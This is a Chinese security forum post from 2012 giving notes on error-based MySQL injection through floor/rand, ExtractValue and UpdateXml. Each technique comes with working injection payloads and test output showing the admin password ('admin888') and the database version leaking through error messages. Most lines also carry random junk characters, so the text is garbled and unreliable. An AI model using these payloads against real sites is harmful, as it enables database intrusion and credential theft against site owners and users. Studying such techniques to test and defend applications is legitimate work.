找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2311|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。% F+ [- y. P/ q6 F, _- D' J
实际测试环境:
" V( C! L  V6 M8 S: j* v: [0 j* W9 I' d4 p" s4 {7 k
( W2 `- u5 {  V9 q
mysql> show tables;* ]& b8 I/ d, l+ y  U$ R$ L9 i3 o
+----------------+
* R5 ?$ X! u" p| Tables_in_test |
. T' I- ?0 k: m0 E+----------------+  w( y7 ]2 o6 z) Z0 T
| admin          |
) l; c* g% b6 W" {) p9 n: ]| article        |& j$ ~" y$ p6 S0 v2 I
+----------------+" P. [" ?5 Y' z: v3 F; @0 Y
) ]1 J: i5 U3 }$ d5 D
( p0 C; |) S, l0 x6 T

4 l$ e8 c& U  z2 a$ Nmysql> describe admin;
/ f2 ^4 {+ b# F1 s# g+-------+------------------+------+-----+---------+----------------+: q4 Y- O  V7 O  [
| Field | Type             | Null | Key | Default | Extra          |
) a) W! P  k2 A" H$ _2 ~" j+-------+------------------+------+-----+---------+----------------+
7 P" b+ D1 l7 Y5 |* \! d| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |. P/ `$ Q9 |6 M" K8 R
| user  | varchar(50)      | NO   |     | NULL    |                |* ^1 u' L" A5 K7 I
| pass  | varchar(50)      | NO   |     | NULL    |                |; X/ x, Q& u8 K# {
+-------+------------------+------+-----+---------+----------------+
! \/ s, T1 S7 @: o; R& x
9 d; X1 u2 e. E% x! M3 U ' W$ S1 I7 b! u+ D2 `" x. Z

6 l4 V: n, \* A! S( X: g% Tmysql> describe article;# @3 p8 q: l6 u6 Y+ x0 `
+---------+------------------+------+-----+---------+----------------+
/ ^, o- s5 d7 {. J; O$ z! B! M/ }9 S1 Y| Field   | Type             | Null | Key | Default | Extra          |+ N. M6 {1 _# p2 o
+---------+------------------+------+-----+---------+----------------+
4 [. u" C" ?: Z8 Z6 S! q) c2 _| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
$ q5 s6 c# l! e  T! P| title   | varchar(50)      | NO   |     | NULL    |                |/ V4 ^. K2 a# B
| content | varchar(50)      | NO   |     | NULL    |                |  H/ T1 D/ |5 P" M- w4 ^+ O
+---------+------------------+------+-----+---------+----------------+
7 e6 ^, _9 ^. A, e8 I1、通过floor报错
1 O9 O( c' y; p& n( O/ D+ b可以通过如下一些利用代码/ n1 u9 }/ s5 v
* U) M' S/ g6 D' h$ w1 ~

: G" v$ z! o( Q" K" \, ]6 ]2 g( Wand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x7 S9 D( W; A, Y& _
from information_schema.tables group by x)a);
4 z, R) v) P' M, `
6 U) R" L' s& f' @( t% Q- Q
) f: Z. d* I4 |" Wand (select count(*) from (select 1 union select null union select !1)x. U9 n- z  k6 I- p, o
group by concat((select table_name from information_schema.tables limit 1),3 [$ M$ T. O3 ^5 P1 k* K( N3 A
floor(rand(0)*2)));4 q1 n  L' D4 w( g, c5 N6 |/ T( {7 y
举例如下:
) n/ t5 l  y- F首先进行正常查询:
1 `* c! w0 B, c# j
3 ^8 V" c/ s) O) tmysql> select * from article where id = 1;6 \" T7 F# w, r( x: k$ }$ N1 N
+----+-------+---------+
$ Q' c4 z- k* I# e| id | title | content |
3 q" ~  ]" J* e% ?1 `+----+-------+---------+
3 ^5 I) [0 f- o' `5 W|  1 | test  | do it   |
/ d1 r6 @0 V: {. ^+----+-------+---------+
. |0 D3 o2 ~% O! k假如id输入存在注入的话,可以通过如下语句进行报错。
1 t) b" q' v1 J% F! p" o/ h
5 F  T: F/ E& d6 ?" \2 q. d
9 f4 @8 E/ J0 o, m5 A' G& U& \mysql> select * from article where id = 1 and (select 1 from: r' Z' ?! \$ m) L$ X1 T: \
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
( o  |' r1 y* j: CERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'0 b9 g, K& R4 O* k: E: P  O- s
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。9 j% M% K3 ]9 Z# |* T9 j
例如我们需要查询管理员用户名和密码:
8 x2 ^4 W, ]; S5 e: h, p- AMethod1:/ u7 [6 x! C  \1 z9 z" z1 k/ [- d0 h

( }- N5 t: O3 s# Q# T8 K ! R4 ^" x/ c9 ]" k
mysql> select * from article where id = 1 and (select 1 from
& l( p7 d. B3 J+ N(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
) \" F5 q% N9 y) Pfrom information_schema.tables group by x)a);
: u6 {& b' z9 w1 [3 X, ^% u5 jERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
- v5 @8 I$ C3 W# B3 hMethod2:& C5 A$ _  E% S4 h' a  T
9 [, d( V( K2 h
9 t2 j, O6 E# P3 A+ w
mysql> select * from article where id = 1 and (select count(*). ]1 z2 h% x; N
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),3 j0 Z2 d2 U+ q! k; E/ D) k
floor(rand(0)*2)));
8 k" A% \  G* s7 p7 |" L- pERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
3 F$ j3 g; p' c8 {# g( [0 f+ F7 m1 S+ M2、ExtractValue
9 D5 i2 D7 [  I7 ^测试语句如下$ s5 |8 v2 }4 _

6 b8 N# _% x3 x' ? 5 I+ W8 F: Y; L
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));1 d/ f% ~& t- U- y
实际测试过程* n* z' F- a! ]
  K2 Y3 X1 o* l" e6 o1 n3 [- P

/ F5 p0 k9 J4 X$ i5 Imysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,! z$ h' f  T! q9 F9 `, ]( W
(select pass from admin limit 1)));--; J% b  b0 J4 r  t. ~8 _# C
ERROR 1105 (HY000): XPATH syntax error: '\admin888'4 q" S( H( c+ L1 H# o& T4 u
3、UpdateXml
; f& ^) i) @# a) W* j测试语句
( M4 [& O# q! R& e& M, f! w5 k 2 w; c# U3 u4 q$ z. ?9 }  S8 h
# J; B" {) W; T4 @' `7 E$ F
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
6 B' f7 m* n( M' ?, C3 c实际测试过程* |$ ]9 Z! ~/ F9 c1 h

) |9 `' u1 F  R. V. B
- d3 w2 r- I& w9 S5 V) K  j8 vmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
4 i9 t0 h& W7 u8 |) n* @) ](select pass from admin limit 1),0x5e24),1));
9 w8 c! k' l' F2 W9 _; gERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
  d  f4 ^2 V0 [7 n0 T; MAll, thanks foreign guys.* Y' p6 h4 O0 X1 Y0 y0 a
5 w, @2 X, w6 }' o% X+ g. f' k

& a& {- ]  o. x$ y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表